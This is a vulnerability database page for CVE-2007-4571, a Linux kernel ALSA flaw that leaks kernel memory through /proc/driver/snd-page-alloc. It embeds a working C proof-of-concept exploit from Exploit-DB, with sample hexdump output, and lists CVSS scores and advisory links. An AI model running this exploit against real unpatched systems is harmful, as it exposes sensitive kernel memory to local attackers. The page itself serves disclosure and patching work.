CVE-2007-4571 : Detail

CVE-2007-4571

0.13%V4
Local
2007-09-26
08h00 +00:00
2017-09-28
10h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The snd_mem_proc_read function in sound/core/memalloc.c in the Advanced Linux Sound Architecture (ALSA) in the Linux kernel before 2.6.22.8 does not return the correct write size, which allows local users to obtain sensitive information (kernel memory contents) via a small count argument, as demonstrated by multiple reads of /proc/driver/snd-page-alloc.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 2.1 AV:L/AC:L/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 30605

Publication date : 2007-09-20 22h00 +00:00
Author : Karimo_DM
EDB Verified : Yes

/* source: https://www.securityfocus.com/bid/25774/info /* The Linux kernel is prone to a local privilege-escalation vulnerability. Exploiting this issue may allow local attackers to gain elevated privileges, facilitating the complete compromise of affected computers. Versions of Linux kernel prior to 2.4.35.3 and 2.6.22.7 are vulnerable to this issue. */ /* ***************************************************************************************** * by Karimo_DM under GPL * * * * Linux Kernel ALSA snd-page-alloc Local Proc File Information Disclosure Vulnerability * * CVE-2007-4571 * * * * This simple PoF demonstrate how snd_page_alloc.c prior to Linux Kernel version * * 2.6.22.8 (2.6.23-rc8) fails to boundary check a buffer in case of count=1 showing * * parts of kernel memory (reaveling randomly some risky informations). * * * * karimo@localhost:~/src/c/bugs$ gcc -O2 cve20074571_alsa.c -ocve20074571_alsa * * karimo@localhost:~/src/c/bugs$ ./cve20074571_alsa | hexdump -C * * 00000000 00 03 55 55 27 00 00 00 10 50 12 08 1e 50 12 08 |..UU'....P...P..| * * 00000010 4f 53 46 30 30 30 31 30 30 32 30 2f 2f 00 41 4e |OSF00010020//.AN| * * 00000020 53 49 5f 58 33 2e 34 2d 31 39 00 03 55 55 27 00 |SI_X3.4-19..UU'.| * * 00000030 00 00 10 50 12 08 1e 50 12 08 4f 53 46 30 30 30 |...P...P..OSF000| * * 00000040 31 30 30 32 30 2f 2f 00 41 4e 53 49 5f 58 33 2e |10020//.ANSI_X3.| * * 00000050 34 2d 31 39 00 03 55 55 27 00 00 00 10 50 12 08 |4-19..UU'....P..| * * 00000060 1e 50 12 08 4f 53 46 30 30 30 31 30 30 32 30 2f |.P..OSF00010020/| * * 00000070 2f 00 41 4e 53 49 5f 58 33 2e 34 2d 31 39 00 03 |/.ANSI_X3.4-19..| * * 00000080 55 55 27 00 00 00 10 50 12 08 1e 50 12 08 4f 53 |UU'....P...P..OS| * * 00000090 46 30 30 30 31 30 30 32 30 2f 2f 00 41 4e 53 49 |F00010020//.ANSI| * * ... * * 000051d0 00 02 20 00 78 ce ed da c0 43 93 c4 01 80 00 4d |.. .xÎíÚÀC.Ä...M| * * 000051e0 71 88 9d 3c 04 27 0d 5d 80 ec 19 2f 12 8a 42 9d |q..<.'.].ì./..B.| * * 000051f0 80 2e 9f c7 89 2c 87 ca 97 dd 50 8a e3 fa c3 15 |...Ç.,.Ê.ÝP.ãúÃ.| * * 00005200 a2 3e 37 49 93 c4 01 80 00 4d 71 88 9d 3c 04 27 |¢>7I.Ä...Mq..<.'| * * 00005210 0d 5d 80 ec 19 2f 12 8a 42 9d 80 2e 9f c7 89 2c |.].ì./..B....Ç.,| * * 00005220 87 ca 97 dd 50 8a e3 fa c3 15 a2 3e 37 49 93 c4 |.Ê.ÝP.ãúÃ.¢>7I.Ä| * * ... * * * * * * [ Tested on a Slackware 12.0 running a self-compiled 2.6.21.3 Linux Kernel ] * ***************************************************************************************** */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #define _SOME_NUM 0xffff int main() { unsigned int j; char kern_mem[2]; int fd=open("/proc/driver/snd-page-alloc",O_RDONLY); for (j=0;j<(unsigned int)_SOME_NUM;j++) { memset(kern_mem,0,2); /* That 1 really do the job ;P */ if (!read(fd,kern_mem,1)) { close(fd); fd=open("/proc/driver/snd-page-alloc",O_RDONLY); } else printf("%c",kern_mem[0]); } }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 2.6.22.7

References

http://secunia.com/advisories/27747
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/27227
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securitytracker.com/id?1018734
Tags : vdb-entry, x_refsource_SECTRACK
http://www.ubuntu.com/usn/usn-618-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.redhat.com/support/errata/RHSA-2007-0939.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.vupen.com/english/advisories/2007/3272
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/28626
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/29054
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.debian.org/security/2008/dsa-1479
Tags : vendor-advisory, x_refsource_DEBIAN
http://secunia.com/advisories/27824
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/25807
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/26989
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.redhat.com/support/errata/RHSA-2007-0993.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/26980
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.debian.org/security/2008/dsa-1505
Tags : vendor-advisory, x_refsource_DEBIAN
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=600
Tags : third-party-advisory, x_refsource_IDEFENSE
http://secunia.com/advisories/30769
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/27101
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/27436
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/26918
Tags : third-party-advisory, x_refsource_SECUNIA